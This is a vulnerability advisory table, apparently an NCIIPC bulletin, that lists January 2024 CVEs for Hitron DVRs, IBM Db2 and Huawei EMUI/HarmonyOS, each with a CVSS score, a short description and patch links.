Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR HVR-4781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-22768**	http://www.hitron.co.kr/firmware/	O-HIT-DVR_-090224/2647
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR HVR-8781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-22769**	http://www.hitron.co.kr/firmware/	O-HIT-DVR_-090224/2648
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR HVR-16781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.	http://www.hitron.co.kr/firmware/	O-HIT-DVR_-090224/2649

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22770		
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR LGUVR-4H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-22771**	http://www.hitron.co.kr/firmware/	O-HIT-DVR_-090224/2650
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR LGUVR-8H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-22772**	http://www.hitron.co.kr/firmware/	O-HIT-DVR_-090224/2651
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR LGUVR-16H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-23842**	http://www.hitron.co.kr/firmware/	O-HIT-DVR_-090224/2652
Vendor: HP					
Product: hp-ux					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644. **CVE ID : CVE-2023-47746**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644, https://www.ibm.com/support/pages/node/7105505	O-HP-HP-U-090224/2653
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support/pages/node/7105503	O-HP-HP-U-090224/2654
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user	https://exchange.xforce.ibmcloud.com/vulnerabilities/270750, https://www.ibm.com/support	O-HP-HP-U-090224/2655

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750. **CVE ID : CVE-2023-47158**	/pages/node/7105496	
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646. **CVE ID : CVE-2023-47747**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	O-HP-HP-U-090224/2656
Vendor: Huawei					
Product: emui					
Affected Version(s): 11.0.1					
N/A	16-Jan-2024	9.1	Component exposure vulnerability in the Wi-Fi module. Successful exploitation of this vulnerability may affect service availability and integrity. **CVE ID : CVE-2023-52101**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2657

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	16-Jan-2024	7.5	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality. **CVE ID : CVE-2023-44112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2658
N/A	16-Jan-2024	7.5	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52113**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2659
Uncontrolled Resource Consumption	16-Jan-2024	7.5	Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52098**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2660
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/securit	O-HUA-EMUI-090224/2661

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affect service confidentiality. **CVE ID : CVE-2023-52107**	y/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of process priorities being raised in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52108**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2662
N/A	16-Jan-2024	7.5	Data confidentiality vulnerability in the ScreenReader module. Successful exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52114**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2663
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Permission management vulnerability in the multi-screen interaction module. Successful exploitation of this vulnerability may cause service exceptions of the device. **CVE ID : CVE-2023-52116**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2664

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	7.5	Vulnerability of foreground service restrictions being bypassed in the NMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52099**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2665
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52102**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2666
Files or Directories Accessible to External Parties	16-Jan-2024	5.3	Unauthorized file access vulnerability in the wallpaper service module. Successful exploitation of this vulnerability may cause features to perform abnormally. **CVE ID : CVE-2023-52112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2667
Affected Version(s): 12.0.0					
N/A	16-Jan-2024	9.1	Component exposure vulnerability in the Wi-Fi module. Successful	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.h	O-HUA-EMUI-090224/2668

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploitation of this vulnerability may affect service availability and integrity. **CVE ID : CVE-2023-52101**	armonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
Out-of-bounds Read	16-Jan-2024	7.5	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality. **CVE ID : CVE-2023-44112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2669
N/A	16-Jan-2024	7.5	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52113**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2670
Uncontrolled Resource Consumption	16-Jan-2024	7.5	Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52098**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-EMUI-090224/2671

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
				000000179992 5977	
Incorrect Permission Assignmen t for Critical Resource	16-Jan-2024	7.5	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52107**	https://consum er.huawei.com/ en/support/bul letin/2024/1/, https://device.h armonyos.com/ en/docs/securit y/update/secur ity-bulletins-202401-000000179992 5977	O-HUA-EMUI-090224/2672
N/A	16-Jan-2024	7.5	Vulnerability of process priorities being raised in the ActivityManagerSe rvice module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52108**	https://consum er.huawei.com/ en/support/bul letin/2024/1/, https://device.h armonyos.com/ en/docs/securit y/update/secur ity-bulletins-202401-000000179992 5977	O-HUA-EMUI-090224/2673
N/A	16-Jan-2024	7.5	Data confidentiality vulnerability in the ScreenReader module. Successful exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52114**	https://consum er.huawei.com/ en/support/bul letin/2024/1/, https://device.h armonyos.com/ en/docs/securit y/update/secur ity-bulletins-202401-000000179992 5977	O-HUA-EMUI-090224/2674
Incorrect Permission Assignmen t for	16-Jan-2024	7.5	Permission management vulnerability in the multi-screen interaction module.	https://consum er.huawei.com/ en/support/bul letin/2024/1/, https://device.h	O-HUA-EMUI-090224/2675

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Critical Resource			Successful exploitation of this vulnerability may cause service exceptions of the device. **CVE ID : CVE-2023-52116**	armonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of foreground service restrictions being bypassed in the NMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52099**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2676
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52102**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2677
Files or Directories Accessible to External Parties	16-Jan-2024	5.3	Unauthorized file access vulnerability in the wallpaper service module. Successful exploitation of this vulnerability may cause features to perform abnormally.	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-EMUI-090224/2678

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52112	0000001799925977	
Affected Version(s): 13.0.0					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	16-Jan-2024	9.8	Buffer overflow vulnerability in the FLP module. Successful exploitation of this vulnerability may cause out-of-bounds read. **CVE ID : CVE-2023-52103**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://https//device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2679
N/A	16-Jan-2024	9.1	Component exposure vulnerability in the Wi-Fi module. Successful exploitation of this vulnerability may affect service availability and integrity. **CVE ID : CVE-2023-52101**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2680
Out-of-bounds Read	16-Jan-2024	7.5	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality. **CVE ID : CVE-2023-44112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2681

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-44117**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2682
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-4566**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2683
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52109**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2684
Incorrect Authorization	16-Jan-2024	7.5	Authorization vulnerability in the BootLoader module. Successful exploitation of this vulnerability may	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/	O-HUA-EMUI-090224/2685

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affect service integrity. **CVE ID : CVE-2023-52111**	en/docs/security/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52113**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2686
Uncontrolled Resource Consumption	16-Jan-2024	7.5	Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52098**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2687
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52107**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2688

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	7.5	Vulnerability of process priorities being raised in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52108**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2689
N/A	16-Jan-2024	7.5	Data confidentiality vulnerability in the ScreenReader module. Successful exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52114**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2690
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Permission management vulnerability in the multi-screen interaction module. Successful exploitation of this vulnerability may cause service exceptions of the device. **CVE ID : CVE-2023-52116**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2691
N/A	16-Jan-2024	7.5	Vulnerability of foreground service restrictions being bypassed in the NMS module. Successful	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/	O-HUA-EMUI-090224/2692

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52099**	en/docs/security/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52102**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2693
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52104**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2694
Files or Directories Accessible to External Parties	16-Jan-2024	5.3	Unauthorized file access vulnerability in the wallpaper service module. Successful exploitation of this vulnerability may cause features to perform abnormally. **CVE ID : CVE-2023-52112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-EMUI-090224/2695

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: harmonyos					
Affected Version(s): 2.0.0					
N/A	16-Jan-2024	9.1	Component exposure vulnerability in the Wi-Fi module. Successful exploitation of this vulnerability may affect service availability and integrity. **CVE ID : CVE-2023-52101**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2696
Out-of-bounds Read	16-Jan-2024	7.5	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality. **CVE ID : CVE-2023-44112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2697
N/A	16-Jan-2024	7.5	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52113**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2698
Uncontrolled Resource	16-Jan-2024	7.5	Denial of Service (DoS) vulnerability in the DMS module. Successful	https://consumer.huawei.com/en/support/bulletin/2024/1/,	O-HUA-HARM-090224/2699

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Consumption			exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52098**	https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52107**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2700
N/A	16-Jan-2024	7.5	Vulnerability of process priorities being raised in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52108**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2701
N/A	16-Jan-2024	7.5	Data confidentiality vulnerability in the ScreenReader module. Successful exploitation of this vulnerability may affect service integrity.	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-HARM-090224/2702

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52114	0000001799925977	
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Permission management vulnerability in the multi-screen interaction module. Successful exploitation of this vulnerability may cause service exceptions of the device. **CVE ID : CVE-2023-52116**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2703
N/A	16-Jan-2024	7.5	Vulnerability of foreground service restrictions being bypassed in the NMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52099**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2704
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52102**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2705
Files or Directories Accessible	16-Jan-2024	5.3	Unauthorized file access vulnerability in the	https://consumer.huawei.com/en/support/bul	O-HUA-HARM-090224/2706

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
to External Parties			wallpaper service module. Successful exploitation of this vulnerability may cause features to perform abnormally. **CVE ID : CVE-2023-52112**	letin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
Affected Version(s): 2.1.0					
N/A	16-Jan-2024	9.1	Component exposure vulnerability in the Wi-Fi module. Successful exploitation of this vulnerability may affect service availability and integrity. **CVE ID : CVE-2023-52101**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2707
Out-of-bounds Read	16-Jan-2024	7.5	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality. **CVE ID : CVE-2023-44112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2708
N/A	16-Jan-2024	7.5	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/secur	O-HUA-HARM-090224/2709

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability will affect availability. **CVE ID : CVE-2023-52113**	ity-bulletins-202401-0000001799925977	
Uncontrolled Resource Consumption	16-Jan-2024	7.5	Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52098**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2710
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52107**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2711
N/A	16-Jan-2024	7.5	Vulnerability of process priorities being raised in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52108**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2712
Incorrect Permission	16-Jan-2024	7.5	Permission management	https://consumer.huawei.com/	O-HUA-HARM-090224/2713

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Assignment for Critical Resource			vulnerability in the multi-screen interaction module. Successful exploitation of this vulnerability may cause service exceptions of the device. **CVE ID : CVE-2023-52116**	en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of foreground service restrictions being bypassed in the NMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52099**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2714
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52102**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2715
Files or Directories Accessible to External Parties	16-Jan-2024	5.3	Unauthorized file access vulnerability in the wallpaper service module. Successful exploitation of this vulnerability may	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/securit	O-HUA-HARM-090224/2716

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			cause features to perform abnormally. **CVE ID : CVE-2023-52112**	y/update/security-bulletins-202401-0000001799925977	
Affected Version(s): 3.0.0					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	16-Jan-2024	9.8	Buffer overflow vulnerability in the FLP module. Successful exploitation of this vulnerability may cause out-of-bounds read. **CVE ID : CVE-2023-52103**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://https//device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2717
N/A	16-Jan-2024	9.1	Component exposure vulnerability in the Wi-Fi module. Successful exploitation of this vulnerability may affect service availability and integrity. **CVE ID : CVE-2023-52101**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2718
Out-of-bounds Read	16-Jan-2024	7.5	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality.	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-HARM-090224/2719

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-44112	0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-44117**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2720
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-4566**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2721
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52109**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2722
Incorrect Authorization	16-Jan-2024	7.5	Authorization vulnerability in the BootLoader module. Successful	https://consumer.huawei.com/en/support/bulletin/2024/1/,	O-HUA-HARM-090224/2723

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52111**	https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52113**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2724
Uncontrolled Resource Consumption	16-Jan-2024	7.5	Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52098**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2725
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality.	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-HARM-090224/2726

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52107	0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of process priorities being raised in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52108**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2727
